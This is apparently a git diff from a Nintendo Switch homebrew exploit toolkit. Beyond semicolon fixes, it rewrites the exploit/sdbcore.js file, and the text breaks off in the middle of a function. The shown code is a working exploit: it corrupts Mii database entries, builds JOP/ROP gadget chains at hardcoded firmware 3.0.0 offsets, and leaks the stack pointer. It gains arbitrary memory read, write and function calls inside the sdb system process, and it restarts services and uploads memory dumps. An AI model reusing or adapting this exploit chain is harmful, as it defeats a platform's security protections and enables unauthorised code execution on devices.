diff --git a/exploit/AltCaller.js b/exploit/AltCaller.js index 15bd605..6a120ec 100644 --- a/exploit/AltCaller.js +++ b/exploit/AltCaller.js @@ -3,7 +3,7 @@ var utils = require('./utils'); function getChainVersion() { if (navigator.userAgent.indexOf('NF/4.0.0.4.25 ') !== -1) { - return '1.0.0' + return '1.0.0'; } else if (navigator.userAgent.indexOf('NF/4.0.0.5.9 ') !== -1) { return '2.0.0'; } else if (navigator.userAgent.indexOf('NF/4.0.0.5.10 ') !== -1) { @@ -316,7 +316,7 @@ class AltCaller { } else if (this.chainVersion !== '1.0.0') { sc.write8(arg, this.stackArgsPointer, ((i - 8) * 8) >> 2); } else { - throw new Error('too many arguments') + throw new Error('too many arguments'); } } @@ -387,7 +387,7 @@ class AltCaller { } else if (this.chainVersion !== '1.0.0') { sc.write8(arg, this.stackArgsPointer, ((i - 8) * 8) >> 2); } else { - throw new Error('too many arguments') + throw new Error('too many arguments'); } } var calledRegOffset = this.calledRegOffset; diff --git a/exploit/runNro.js b/exploit/runNro.js index 1179a3c..a75a2b4 100644 --- a/exploit/runNro.js +++ b/exploit/runNro.js @@ -2,7 +2,7 @@ requires spl MITM and ro!ease_nro_restriction = 0x1 */ -var utils = require("./utils") +var utils = require("./utils"); module.exports = (res, args) => { if(!sc.sdb) { diff --git a/exploit/sdbcore.js b/exploit/sdbcore.js index 6b3119d..42757fe 100644 --- a/exploit/sdbcore.js +++ b/exploit/sdbcore.js @@ -1,954 +1,954 @@ -var utils = require('./utils'); -var svcMixin = require('./svc'); -var sploitMixin = require('./sploitMixin'); - -function c32to8(data) -{ - var len = data.length; - var ret = new Uint8Array(len * 4); - var offs = 0; - - for(i = 0; i < len; i++) - { - ret[offs++] = data[i] & 0xFF; - ret[offs++] = (data[i] >>> 8) & 0xFF; - ret[offs++] = (data[i] >>> 16) & 0xFF; - ret[offs++] = data[i] >>> 24; - } - - return ret; -} - -function c64to8(data) -{ - var len = data.length; - var ret = new Uint8Array(len * 8); - var offs = 0; - - for(i = 0; i < len; i++) - { - ret[offs++] = data[i][0] & 0xFF; - ret[offs++] = (data[i][0] >>> 8) & 0xFF; - ret[offs++] = (data[i][0] >>> 16) & 0xFF; - ret[offs++] = (data[i][0] >>> 24) & 0xFF; - ret[offs++] = data[i][1] & 0xFF; - ret[offs++] = (data[i][1] >>> 8) & 0xFF; - ret[offs++] = (data[i][1] >>> 16) & 0xFF; - ret[offs++] = (data[i][1] >>> 24) & 0xFF; - } - - return ret; -} - -function c8to32(data) -{ - var len = data.length / 4; - var ret = new Uint32Array(len); - var offs = 0; - - for(i = 0; i < len; i++) - { - ret[i] = data[offs++]; - ret[i] |= data[offs++] << 8; - ret[i] |= data[offs++] << 16; - ret[i] |= data[offs++] << 24; - } - - return ret; -} - -function _crc(data, len) -{ - var crc = 0; - - for(j = 0; j < len; j++) - { - var v = 0x80; - for(i = 0; i < 8; i++) - { - var xorf = crc & 0x8000; - crc = (crc << 1) & 0xFFFF - - if(data[j] & v) - crc = (crc + 1) & 0xFFFF; - if(xorf) - crc ^= 0x1021; - v >>= 1; - } - } - return crc; -} - -function writePdm(payload) -{ -// var data = payload.buffer; -// utils.hexdump("dat", data); - sc.ipcMsg(4).sendTo('pdm:ntfy').assertOk(); -// sc.ipcMsg(5).aDescriptor(data, data.byteLength, 0).sendTo('pdm:ntfy').assertOk(); - sc.ipcMsg(5).aDescriptor(payload, payload.length, 0).sendTo('pdm:ntfy').assertOk(); -} - -function getMiiAuthorId() -{ - return c32to8(sc.ipcMsg(90).sendTo('set:sys').assertOk().data); -} - -function crcMiiBuf(b, authorid) -{ - var ret = new Uint8Array(b.length + 4); - ret.set(b); - - var crc1 = _crc(ret, b.length + 2); - ret[b.length] = crc1 >> 8; - ret[b.length+1] = crc1 & 0xFF; - - var temp = new Uint8Array(authorid.length + ret.length); - temp.set(authorid); - temp.set(ret, authorid.length); - - var crc2 = _crc(temp, temp.length); - ret[b.length+2] = crc2 >> 8; - ret[b.length+3] = crc2 & 0xFF; - - return ret; -} - -function AddOrReplace(hnd, key, unm, authorid) -{ - var crcbuf = new Uint8Array(unm.length + key.length); - crcbuf.set(unm); - crcbuf.set(key, unm.length); - crcbuf = crcMiiBuf(crcbuf, authorid); - - var new_mii = new Uint8Array(crcbuf.length + 4); - new_mii.set(crcbuf); - - var new_mii_as_words = c8to32(new_mii); - - var ipc = sc.ipcMsg(13); - ipc.datau32.apply(ipc, new_mii_as_words); - ipc.sendTo(hnd).assertOk(); -} - -function Move(hnd, key, pos) -{ - var data = new Uint32Array(key.length / 4 + 1); - data.set(c8to32(key)); - data[data.length - 1] = pos; - var ipc = sc.ipcMsg(12); - ipc.datau32.apply(ipc, data); - ipc.sendTo(hnd).assertOk(); -} - -function Delete(hnd, key) -{ - var data = c8to32(key); - var ipc = sc.ipcMsg(14); - ipc.datau32.apply(ipc, data); - ipc.sendTo(hnd).assertOk(); -} - -function GetCount(hnd) -{ - ret = sc.ipcMsg(2).datau32(1).sendTo(hnd).assertOk().data[0]; -// utils.log("mii count is " + ret.toString()); - return ret; -} - -function GetDefault(hnd, offset) -{ - ret = sc.ipcMsg(7).datau32(offset).sendTo(hnd).assertOk(); - return ret.data; -} - -function GetLoadBase(hnd, authorid) -{ - var unm = new Uint8Array([0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0x97, 0x02, 0x00, 0x00, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0x41, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]); - var key = c64to8([[0xcafe, 0], [0xcafe0080, 0]]); - - AddOrReplace(hnd, key, unm, authorid); - - var data = GetDefault(hnd, (0x010b4b20 + 0xC + 0x44 * (GetCount(hnd) - 1) - 0x01079438) / 4); - - Delete(hnd, key); - - return utils.add2([data[5], data[6]], -0x9c540); -} - -function Wipe(hnd) -{ - var buf = new Uint8Array(100*0x44); - var count = sc.ipcMsg(9).data(1).bDescriptor(buf, buf.length, 0).sendTo(hnd).assertOk().data[0]; - - if(!count) - return; - - utils.log("mii count to delete " + count.toString()); - - var key = new Uint8Array(16); - - for(mii = 0; mii < count; mii++) - { - for(j = 0; j < 16; j++) - key[j] = buf[j + 48 + mii * 0x44]; - Delete(hnd, key); - } -} - - -function getServicePid(service) -{ - var res = sc.ipcMsg(2).setType(3).datau64(0).sendTo(service).assertOk(); - sc.svcCloseHandle(res.movedHandles[0]); - return res.pid[0]; -} - -function checkMiiCode(code) -{ - var checker = [0,1,2,3,4,5,6,7,8,16,17,18,19,20,21,22,23,24,32,33,34,35,36,37,38,39,40,48,49,50,51,52,53,54,55,56,64,65,66,67,68,69,70,71,72,80,81,82,83,84,85,86,87,88,96,97,98,99,100,101,102,103,104,112,113,114,115,116,117,118,119,120,128,129,130,131,132,133,134,135,136]; - return checker.indexOf(code) >= 0; -} - -var sdbcore = function(sc, vers) { - if (!sdbcore.prototype.importedMixins) { - Object.keys(svcMixin).forEach((k) => { - sdbcore.prototype[k] = svcMixin[k]; - }); - - Object.keys(sploitMixin).forEach((k) => { - sdbcore.prototype[k] = sploitMixin[k]; - }); - - sdbcore.prototype.importedMixins = true; - } - - utils.log('Starting sdbcore...'); - this.sc = sc; - window.sc = sc; - this.initialized = false; - this.vers = vers; - this.offsets = this.get_offsets(); - if (this.offsets == null) { - utils.log('Unknown version: '+vers); - return; - } - this.svcs = this.offsets['svc_dic']; - - this.sploitMixinInit(); - - utils.log('Pwning sdb...'); - this.initialize(this.sc); - utils.log('Pwned sdb...'); -}; - -sdbcore.prototype.name = "sdb"; - -sdbcore.prototype.queryMem = function(addr, raw) { - if(arguments.length == 1) - raw = false; - - var meminfo = utils.add2(this.sdb_base, 0x40000); - var pageinfo = utils.add2(this.sdb_base, 0x40028); - - var memperms = ['NONE', 'R', 'W', 'RW', 'X', 'RX', 'WX', 'RWX']; - var memstates = ['NONE', '(1)', '(2)', 'CODE-STATIC', 'CODE', 'HEAP', 'SHARED-MEM-BLOCK', 'MODULE-CODE-STATIC', 'MODULE-CODE', 'STACK-MIRROR', 'THREAD-LOCAL-STORAGE', 'MEMORY_MIRROR', '(15)', 'RESERVED']; - this.svc(0x6, [meminfo, pageinfo, addr]); - - var ms = this.rw.read(utils.add2(meminfo, 0x10)); - ms = utils.paddr(ms); - /*if(!raw && ms[1] == 0 && ms[0] < memstates.length) - ms = memstates[ms[0]]; - else if(!raw) - ms = 'UNKNOWN'*/ - var mp = this.rw.read(utils.add2(meminfo, 0x18)); - if(!raw && mp[1] == 0 && mp[0] < memperms.length) - mp = memperms[mp[0]]; - - var data = [this.rw.read(meminfo), this.rw.read(utils.add2(meminfo, 8)), ms, mp, this.rw.read(pageinfo)]; - - return data; -}; - - -sdbcore.prototype.svc = function(id, registers, dump_regs) { - if (arguments.length == 2) - dump_regs = false; - if (!(id in this.svcs)) { - utils.log('Error: sdb does not contain svc 0x'+id.toString(16)); - return null; - } - return this.slowCall(this.svcs[id], registers, [], dump_regs); -}; - -sdbcore.prototype.resetModule = function() { - // wipe all miis - this.handle = sc.ipcMsg(0).data(0xA523B78F).sendTo('mii:e').assertOk().movedHandles[0]; - utils.log("mii handle is 0x" + this.handle.toString(16)); - utils.log("wipe miis ..."); - Wipe(this.handle); - - var resetcount = 0; - var sdbPid = getServicePid(this.handle); - var tid = utils.parseAddr('0100000000000039'); - - utils.log("reloading sdb, this might take a while ..."); - - while(1) - { - sc.svcCloseHandle(this.handle); - sc.killAutoHandle(); - - // restart sdb - sc.ipcMsg(1).data(sdbPid).sendTo('pm:shell').assertOk(); - sdbPid = this.sc.ipcMsg(0).datau64(0, tid, 3).sendTo('pm:shell').data[0]; - utils.log("new sdb pid: 0x" + sdbPid.toString(16)); - - this.handle = sc.ipcMsg(0).data(0xA523B78F).sendTo('mii:e').assertOk().movedHandles[0]; - - this.sdb_base = GetLoadBase(this.handle, this.authorid); - // utils.log("this.sdb_base at " + utils.paddr(this.sdb_base)); - - if(checkMiiCode(this.sdb_base[0] >>> 24) && checkMiiCode((this.sdb_base[0] >>> 16) & 0xFF) && this.sdb_base[1] > 0) - { - utils.log("sdb pid is 0x" + sdbPid.toString(16) + " this.sdb_base at " + utils.paddr(this.sdb_base)); - utils.log("** good base ***"); - break; - } - resetcount++; - } -}; - -function add64(buf, offs, data) -{ - buf[offs++] = data[0] & 0xFF; - buf[offs++] = (data[0] >>> 8) & 0xFF; - buf[offs++] = (data[0] >>> 16) & 0xFF; - buf[offs++] = (data[0] >>> 24) & 0xFF; - buf[offs++] = data[1] & 0xFF; - buf[offs++] = (data[1] >>> 8) & 0xFF; - buf[offs++] = (data[1] >>> 16) & 0xFF; - buf[offs++] = (data[1] >>> 24) & 0xFF; -} - -sdbcore.prototype.setupBuffers = function() { - this.scratch = utils.add2(this.sdb_base, 0x14ED00); - - this.pdm_base = utils.add2(this.sdb_base, 0x150ec0); - utils.log("this.pdm_base at " + utils.paddr(this.pdm_base)); - - var returnAddr = utils.add2(this.sdb_base, 0x2fc58); - - // rewrite pl:u cmd1 - var writeAddr = utils.add2(this.sdb_base, 0x99A98); - var writeValue = utils.add2(this.sdb_base, 0x017d80); // gadget 0 - - var buf = new Uint8Array(0x700); - - /// JOP chains - // notice how nicely are these values compacted - - // miihax arb.write - add64(buf, 0x0000, utils.add2(this.pdm_base, 0x0020)); // A - add64(buf, 0x0008, writeAddr); - add64(buf, 0x0010, utils.add2(this.sdb_base, 0x2d170)); // *B - add64(buf, 0x0018, utils.add2(this.sdb_base, 0x6740)); - add64(buf, 0x0020, utils.add2(this.pdm_base, 0x0010)); // *A; B - add64(buf, 0x0028, utils.add2(this.sdb_base, 0x7160)); // *D - add64(buf, 0x0030, utils.add2(this.sdb_base, 0x53430)); // *A + 0x10 - add64(buf, 0x0038, utils.add2(this.pdm_base, 0x0040)); // *A + 0x18; C - add64(buf, 0x0040, utils.add2(this.pdm_base, 0x0028)); // *C; D - add64(buf, 0x0048, utils.add2(this.pdm_base, 0x0060)); // *E; F - add64(buf, 0x0050, utils.add2(this.sdb_base, 0x2f090)); // *D + 0x28 - add64(buf, 0x0058, utils.add2(this.pdm_base, 0x0048)); // *C + 0x18; E - add64(buf, 0x0060, utils.add2(this.pdm_base, 0x0060)); // *F; G - add64(buf, 0x0068, utils.add2(this.sdb_base, 0x7160)); // *G + 0x08 - add64(buf, 0x0070, utils.add2(this.sdb_base, 0x7160)); // *B + 0x60 - add64(buf, 0x0078, utils.add2(this.pdm_base, 0x0080)); // *F + 0x18; H - add64(buf, 0x0080, utils.add2(this.pdm_base, 0x0098)); // *H; I - add64(buf, 0x0088, utils.add2(this.sdb_base, 0x2d5f8)); // *F + 0x28 - add64(buf, 0x0090, utils.add2(this.sdb_base, 0x47cc8)); // *F + 0x30 - add64(buf, 0x0098, utils.add2(this.sdb_base, 0x7218)); // *G + 0x38 - add64(buf, 0x00a0, returnAddr); // *I + 0x08 - add64(buf, 0x00a8, writeValue); // *I + 0x10 - // note: b0 - b8 used - add64(buf, 0x00c0, utils.add2(this.sdb_base, 0x2d5f8)); // *I + 0x28 - add64(buf, 0x00c8, utils.add2(this.sdb_base, 0x4b46c)); // *I + 0x30 - // pluhax arb.read and arb.write; both share 'first stage' - add64(buf, 0x00b0, utils.add2(this.pdm_base, 0x0c0)); // A - add64(buf, 0x00b8, utils.add2(this.pdm_base, 0x0d8)); // B - // note: c0 - c8 used - add64(buf, 0x00d0, utils.add2(this.sdb_base, 0x0026cc)); // *A + 16; gatget 4 - add64(buf, 0x00d8, utils.add2(this.pdm_base, 0x110)); // *B; C - add64(buf, 0x00e0, utils.add2(this.pdm_base, 0x148)); // *E; F - add64(buf, 0x00e8, utils.add2(this.pdm_base, 0x120)); // *E + 8; G - add64(buf, 0x00f0, utils.add2(this.sdb_base, 0x0033d0)); // *A + 48; gatget 3 - add64(buf, 0x00f8, utils.add2(this.sdb_base, 0x01349c)); // *B + 32; gatget 10 - add64(buf, 0x0100, utils.add2(this.pdm_base, 0x0e0)); // *D + 8; E - add64(buf, 0x0108, utils.add2(this.sdb_base, 0x025d08)); // *B + 48; gatget 6 - add64(buf, 0x0110, utils.add2(this.sdb_base, 0x04de9c)); // *C; gatget 5 - add64(buf, 0x0118, utils.add2(this.sdb_base, 0x014134)); // *C + 8; gatget 7 - add64(buf, 0x0120, utils.add2(this.pdm_base, 0x158)); // *G; H - add64(buf, 0x0128, utils.add2(this.sdb_base, 0x02d6c8)); // *C + 24; gatget 8 - add64(buf, 0x0130, utils.add2(this.pdm_base, 0x168)); // Z - add64(buf, 0x0138, utils.add2(this.pdm_base, 0x0f8)); // *B + 96; D - add64(buf, 0x0140, utils.add2(this.sdb_base, 0x00638c)); // *B + 104; gatget 11 - add64(buf, 0x0148, utils.add2(this.sdb_base, 0x04dbf8)); // *F; gatget 12 - add64(buf, 0x0150, utils.add2(this.sdb_base, 0x02de0c)); // *F + 8; gatget14w - add64(buf, 0x0158, utils.add2(this.sdb_base, 0x020C84)); // *G; returnW; *V + 40; returnR - add64(buf, 0x0160, utils.add2(this.sdb_base, 0x002850)); // *G + 8; gatget16w - add64(buf, 0x0168, utils.add2(this.pdm_base, 0x170)); // *Z; Y - add64(buf, 0x0170, utils.add2(this.pdm_base, 0x1a8)); // *X; W - add64(buf, 0x0178, utils.add2(this.pdm_base, 0x180)); // *X + 8; U - add64(buf, 0x0180, utils.add2(this.pdm_base, 0x1b8)); // *U; T - add64(buf, 0x0188, utils.add2(this.sdb_base, 0x0071e0)); // *F + 64; gatget15w - add64(buf, 0x0190, utils.add2(this.pdm_base, 0x130)); // *X + 32; V - add64(buf, 0x0198, utils.add2(this.sdb_base, 0x04dbf8)); // *Y + 40; gatget 15r - add64(buf, 0x01a0, utils.add2(this.sdb_base, 0x002850)); // *X + 48; gatget 16r - add64(buf, 0x01a8, utils.add2(this.sdb_base, 0x02dd5c)); // *W; gatget 14r - add64(buf, 0x01b0, utils.add2(this.pdm_base, 0x170)); // *Z + 72; X - add64(buf, 0x01b8, utils.add2(this.sdb_base, 0x035180)); // *T; gatget 17r - // pluhax leak SP - add64(buf, 0x01c0, utils.add2(this.pdm_base, 0x1c8)); // *C; D - add64(buf, 0x01c8, utils.add2(this.sdb_base, 0x035180)); // *D; gatget 10 - add64(buf, 0x01d0, utils.add2(this.sdb_base, 0x002850)); // *D + 8; gatget 9 - add64(buf, 0x01d8, utils.add2(this.sdb_base, 0x011b38)); // gatget 7 - add64(buf, 0x01e0, utils.add2(this.pdm_base, 0x0c0)); // shared with arb.* - add64(buf, 0x01e8, utils.add2(this.pdm_base, 0x1f0)); // A - add64(buf, 0x01f0, utils.add2(this.pdm_base, 0x228)); // *A; gatget 5 ptr - add64(buf, 0x01f8, utils.add2(this.pdm_base, 0x1f8)); // *A + 8; B - add64(buf, 0x0200, utils.add2(this.pdm_base, 0x1c0)); // *B + 8; C - add64(buf, 0x0208, utils.add2(this.pdm_base, 0x218)); // *C + 72; E - add64(buf, 0x0210, utils.add2(this.pdm_base, 0x130)); // *A + 32; return ptr; shared with arb.* - add64(buf, 0x0218, utils.add2(this.pdm_base, 0x1d8)); // *E; gatget 7 ptr - add64(buf, 0x0220, utils.add2(this.sdb_base, 0x02d8d4)); // *A + 48; gatget 6 - add64(buf, 0x0228, utils.add2(this.sdb_base, 0x04de98)); // gatget 5 - // almost filled - add64(buf, 0x0290, utils.add2(this.sdb_base, 0x04a3a8)); // *D + 200; gatget 8 - - //add64(buf, 0x02e0, 0); // *C + 288; leaked SP - - // pluhax arb.call - add64(buf, 0x0230, utils.add2(this.pdm_base, 0x0c0)); // shared with arb.* - add64(buf, 0x0238, utils.add2(this.pdm_base, 0x240)); // A - add64(buf, 0x0240, utils.add2(this.pdm_base, 0x268)); // *A; gatget 5 ptr - add64(buf, 0x0248, utils.add2(this.pdm_base, 0x258)); // *A + 8; B - add64(buf, 0x0250, utils.add2(this.pdm_base, 0x260)); // *B - 8; C - add64(buf, 0x0258, utils.add2(this.pdm_base, 0x260)); // pdmNext1 + 8; gatget 11 ptr ptr - add64(buf, 0x0260, utils.add2(this.pdm_base, 0x1b8)); // gatget 11 ptr; shared with arb.* - add64(buf, 0x0268, utils.add2(this.sdb_base, 0x014104)); // gatget 5 - add64(buf, 0x0270, utils.add2(this.pdm_base, 0x130)); // pdmNext1 + 32; return ptr; shared with arb.* - add64(buf, 0x0278, utils.add2(this.sdb_base, 0x01349c)); // *C + 24; gatget 6 - add64(buf, 0x0280, utils.add2(this.sdb_base, 0x02850)); // pdmNext1 + 48; gatget 10 - - //add64(buf, 0x02a0, utils.add2(this.sdb_base, 0x2fc68)); // *A + 96; callAddr - add64(buf, 0x02a8, utils.add2(this.sdb_base, 0x002c0)); // *A + 104; gatget 7 - - add64(buf, 0x02d0, utils.add2(this.sdb_base, 0x4de98)); // pdmNext0; gatget 9 - - //add64(buf, 0x02e8, 0); // storeAddr; returned X0 - //add64(buf, 0x02f0, 0); // storeAddr+8; returned X1 - - - add64(buf, 0x0300, [0x11223344, 0]); // testing value to read out - - utils.log("writePdm ..."); - writePdm(buf); // seems like it works reliably only once - - key = c64to8([this.pdm_base, [0xde000080, 0]]); - - var payload = new Uint8Array(48); - add64(payload, 24, this.sdb_base); // 32bit LSB is kinda limited, so is 32bit MSB - - AddOrReplace(this.handle, key, payload, this.authorid); - - utils.log("trigger ..."); - Move(this.handle, key, 100); - - utils.log("cleanup ..."); - sc.svcCloseHandle(this.handle); - sc.killAutoHandle(); - - // prepare - utils.log("entering pluhax ..."); - - // arb.read and arb.write - this.ipcGat1 = utils.add2(this.sdb_base, 0x00f194); - this.ipcGat2 = utils.add2(this.sdb_base, 0x03f8a8); - this.ipcGat9 = utils.add2(this.sdb_base, 0x0304c0); - this.ipcGat13r = utils.add2(this.sdb_base, 0x02d8d4); - this.ipcGat13w = utils.add2(this.sdb_base, 0x029b50); - this.pdmEntry = utils.add2(this.pdm_base, 0x00b0); // JOP chain; shared for arb.read and arb.write - this.pdmNext = utils.add2(this.pdm_base, 0x0128); // second stage JOP chain for arb.read; offset 8 (=0x130) - - // sp leak - this.pdmLeakE = utils.add2(this.pdm_base, 0x1e0); - - // arb.call - this.pdmCallE = utils.add2(this.pdm_base, 0x230); - - // shared for all calls (or ignored in some) - this.ipcData = new Uint32Array(24); - this.ipcData[15] = this.ipcGat1[0]; - this.ipcData[16] = this.ipcGat1[1]; - this.ipcData[17] = this.ipcGat9[0]; - this.ipcData[18] = this.ipcGat9[1]; - this.ipcData[19] = this.ipcGat2[0]; - this.ipcData[20] = this.ipcGat2[1]; - - // run - utils.log("trigger ..."); // return address: 0x020C84 - - // get SP - this.sdbPluSP = this.getSP(); - utils.log("pluSP at " + utils.paddr(this.sdbPluSP)); - - // arb.call - prepare stack (permanent; maybe check after some calls?) - this.write8(utils.add2(this.pdm_base, 0x2e8), utils.add2(this.sdbPluSP, 200)); // storeAddr (pdmNext0+24) - this.write8(utils.add2(this.sdb_base, 0x579a8), utils.add2(this.sdbPluSP, 216)); // ROP chain 0 - this.write8(utils.add2(this.sdb_base, 0x01d44), utils.add2(this.sdbPluSP, 248)); // ROP chain 1 - this.write8(utils.add2(this.sdb_base, 0x4e950), utils.add2(this.sdbPluSP, 296)); // ROP chain 2 - this.write8(utils.add2(this.sdb_base, 0x1a0b8), utils.add2(this.sdbPluSP, 488)); // ROP chain 3 - this.write8(utils.add2(this.sdb_base, 0x3ca1c), utils.add2(this.sdbPluSP, 776)); // gatget 8 - this.write8(utils.add2(this.pdm_base, 0x2d0), utils.add2(this.sdbPluSP, 456)); // pdmNext0 - this.write8(utils.add2(this.pdm_base, 0x250), utils.add2(this.sdbPluSP, 760)); // pdmNext1 -}; - -sdbcore.prototype.getSP = function() { - // there is an offset between returned value and actualy saved one - // i do not know if it is possible to get random addres that will make this fail - // if so, just use read4 on this.pdm_base + 0x2e0 and from result subtract 0x3A8 instead - - this.ipcData[5] = this.pdmLeakE[0]; - this.ipcData[6] = this.pdmLeakE[1]; - - var sp = [0,0] - var ipc = sc.ipcMsg(1); - ipc.datau32.apply(ipc, this.ipcData); - sp[0] = ipc.sendTo('pl:u').cmdId; - sp[1] = this.read4(utils.add2(this.pdm_base, 0x2e0 + 4)); // 32bit MSB - - return utils.sub2(sp, 0x328); -} - - -sdbcore.prototype.initialize = function(sc) { - if (this.initialized) { - utils.log('Already initialized...returning.'); - return; - } - - this.authorid = getMiiAuthorId(); - utils.log("Author ID: " + Array.apply([], this.authorid).join(",")); - - this.resetModule(); - this.setupBuffers(); - - // write / read test - var testAddr = utils.add2(this.pdm_base, 0x300); - - // write value - utils.log("... write"); - this.write8([0x29910BAF, 0x11223344], testAddr); - // read back - utils.log("... read"); - var retVal = this.read8(testAddr); - utils.log("read value: " + utils.paddr(retVal)); - - utils.log('... call'); - utils.log('call: ' + utils.paddr(this.slowCall(0x02868, [[0xF00D1234, 0x1122aabb]]))); - - if (this.vers == '3.0.0') { - utils.log('Setting up RO hax...'); - this.setup_ro_hax(); - } - - this.initialized = true; -}; - -sdbcore.prototype.get_offsets = function() { - var offset_dic = { - '3.0.0' : { - 'memcpy' : 0x3a5f8, - 'svc_dic' : { - 0x2 : 0x2fbf8, - 0x3 : 0x2fc00, - 0x4 : 0x2fc08, - 0x5 : 0x2fc10, - 0x6 : 0x2fc18, - 0x7 : 0x2fc30, - 0x8 : 0x2fc3c, - 0x9 : 0x2fc50, - 0xA : 0x2fc58, - 0xB : 0x2fc60, - 0xC : 0x2fc68, - 0x10 : 0x2fc80, - 0x12 : 0x2fc88, - 0x13 : 0x2fc90, - 0x14 : 0x2fc98, - 0x16 : 0x2fca0, - 0x18 : 0x2fca8, - 0x19 : 0x2fcc0, - 0x1A : 0x2fcc8, - 0x1B : 0x2fcd0, - 0x1C : 0x2fcd8, - 0x1D : 0x2fce0, - 0x1F : 0x2fce8, - 0x21 : 0x2fd00, - 0x22 : 0x2fd08, - 0x25 : 0x2fd10, - 0x26 : 0x2fd28, - 0x27 : 0x2fd30, - 0x28 : 0x2fd38, - 0x29 : 0x2fd40, - 0x2c : 0x2fd58, - 0x2d : 0x2fd60, - 0x40 : 0x2fd80, - 0x41 : 0x2fda0, - 0x43 : 0x2fdb8, - 0x44 : 0x2fdd0, - 0x50 : 0x2fd68 - } - } - }; - if (this.vers in offset_dic) { - return offset_dic[this.vers]; - } - return null; -}; - -sdbcore.prototype.memdump = function(start, totalSize, name) { - var end = utils.add2(start, totalSize); - if (arguments.length == 2) { - name = 'memdumps_sdb/sdb - '+utils.paddr(start) + ' - ' + utils.paddr(end) + '.bin'; - } - - var buf = new Uint32Array(8 * 1024 * 1024 / 4); - var addr = sc.read8(sc.getAddr(buf), 4); - - utils.log('Dumping memory to '+name+'!'); - for(var idx = 0; idx < totalSize; idx += 0x700000) { - size = totalSize - idx; - size = size > 0x700000 ? 0x700000 : size; - this.sc.gc(); - var obj = new sdbown(buf); - var base = this.leakPrev(8); - var sdbbuf = utils.add2(base, 0x100000); - - this.slowCall(this.offsets['memcpy'], [sdbbuf, start, size]); - obj.svc.leak(); - - this.sc.memview(utils.add2(addr, 0x100000), size, function(ab) { - var view = new Uint8Array(ab); - var xhr = new XMLHttpRequest(); - xhr.open('POST', '/filedump', false); - xhr.setRequestHeader('Content-Type', 'application/octet-stream'); - xhr.setRequestHeader('Content-Disposition', name); - xhr.send(view); - }); - } - this.sc.gc(); - utils.log('Dumped memory succesfully!'); -}; - -sdbcore.prototype.slowCall = function(funcptr, args, fargs, dump_regs) { - if(typeof(funcptr) == 'number') { - funcptr = utils.add2(this.sdb_base, funcptr); - } - switch(arguments.length) { - case 1: - args = []; - case 2: - fargs = []; - case 3: - dump_regs = false; - } - - for (var i = 0; i < args.length; i++) { - if (typeof(args[i]) == 'number') { - args[i] = [args[i], 0]; - } - } - - var scratchOff = 0; - - // Write registers for native code. - if(args.length > 0) { - for(var i = 0; i < 8 && i < args.length; i++) { - if(ArrayBuffer.isView(args[i]) || args[i] instanceof ArrayBuffer) { - var size = args[i].byteLength; - var saddr = utils.add2(this.scratch, scratchOff); - this.memcpyFromBrowser(saddr, sc.getArrayBufferAddr(args[i]), size); - this.write8(saddr, utils.add2(this.sdbPluSP, 128 + 8 * i)); - scratchOff += size; - if(scratchOff & 0x7) - scratchOff = (scratchOff & 0xFFFFFFF8) + 8; - } else - this.write8(args[i], utils.add2(this.sdbPluSP, 128 + 8 * i)); - } - } - - this.write8(funcptr, utils.add2(this.pdm_base, 0x2a0)); - - this.ipcData[5] = this.pdmCallE[0]; - this.ipcData[6] = this.pdmCallE[1]; - - var ipc = sc.ipcMsg(1); - ipc.datau32.apply(ipc, this.ipcData); - var lo = ipc.sendTo('pl:u').cmdId; - - scratchOff = 0; - if(args.length > 0) { - for(var i = 0; i < 30 && i < args.length; i++) { - if(ArrayBuffer.isView(args[i]) || args[i] instanceof ArrayBuffer) { - var size = args[i].byteLength; - var saddr = utils.add2(this.scratch, scratchOff); - this.memcpyToBrowser(args[i], saddr, size); - scratchOff += size; - if(scratchOff & 0x7) - scratchOff = (scratchOff & 0xFFFFFFF8) + 8; - } - } - } - return [lo, this.read4(utils.add2(this.pdm_base, 0x2e8 + 4))]; -}; - -sdbcore.prototype.read8 = function(addr) { - return [this.read4(addr), this.read4(utils.add2(addr, 4))]; -}; - -sdbcore.prototype.read4 = function(addr) { - var id2 = new Uint32Array(24); - id2[3] = this.pdmNext[0]; - id2[4] = this.pdmNext[1]; - id2[5] = this.pdmEntry[0]; - id2[6] = this.pdmEntry[1]; - id2[9] = addr[0]; - id2[10] = addr[1]; - id2[13] = this.ipcGat13r[0]; - id2[14] = this.ipcGat13r[1]; - id2[15] = this.ipcGat1[0]; - id2[16] = this.ipcGat1[1]; - id2[17] = this.ipcGat9[0]; - id2[18] = this.ipcGat9[1]; - id2[19] = this.ipcGat2[0]; - id2[20] = this.ipcGat2[1]; - - var ipc = sc.ipcMsg(1); - ipc.datau32.apply(ipc, id2); - return ipc.sendTo('pl:u').cmdId; -}; - -sdbcore.prototype.read2 = function(addr) { - throw 'sdbcore.read2 not implemented'; -}; - -sdbcore.prototype.read1 = function(addr) { - throw 'sdbcore.read1 not implemented'; -}; - -sdbcore.prototype.write8 = function(val, addr) { - var id = new Uint32Array(24); - id[3] = addr[0]; - id[4] = addr[1]; - id[5] = this.pdmEntry[0]; - id[6] = this.pdmEntry[1]; - id[9] = val[0]; - id[10] = val[1]; - id[13] = this.ipcGat13w[0]; - id[14] = this.ipcGat13w[1]; - id[15] = this.ipcGat1[0]; - id[16] = this.ipcGat1[1]; - id[17] = this.ipcGat9[0]; - id[18] = this.ipcGat9[1]; - id[19] = this.ipcGat2[0]; - id[20] = this.ipcGat2[1]; - - var ipc = sc.ipcMsg(1); - ipc.datau32.apply(ipc, id); - ipc.sendTo('pl:u'); -}; - -sdbcore.prototype.write82 = function(val, addr) { - var id = new Uint32Array(24); - id[3] = addr[0]; - id[4] = addr[1]; - id[5] = this.pdmEntry[0]; - id[6] = this.pdmEntry[1]; - id[9] = val[0]; - id[10] = val[1]; - id[13] = this.ipcGat13w[0]; - id[14] = this.ipcGat13w[1]; - id[15] = this.ipcGat1[0]; - id[16] = this.ipcGat1[1]; - id[17] = this.ipcGat9[0]; - id[18] = this.ipcGat9[1]; - id[19] = this.ipcGat2[0]; - id[20] = this.ipcGat2[1]; - - var ipc = sc.ipcMsg(1); - ipc.datau32.apply(ipc, id); - ipc.sendTo('pl:u'); -}; - -sdbcore.prototype.write4 = function(val, addr) { - throw 'sdbcore.write4 not implemented'; -}; - -sdbcore.prototype.write2 = function(val, addr) { - throw 'sdbcore.write2 not implemented'; -}; - -sdbcore.prototype.write1 = function(val, addr) 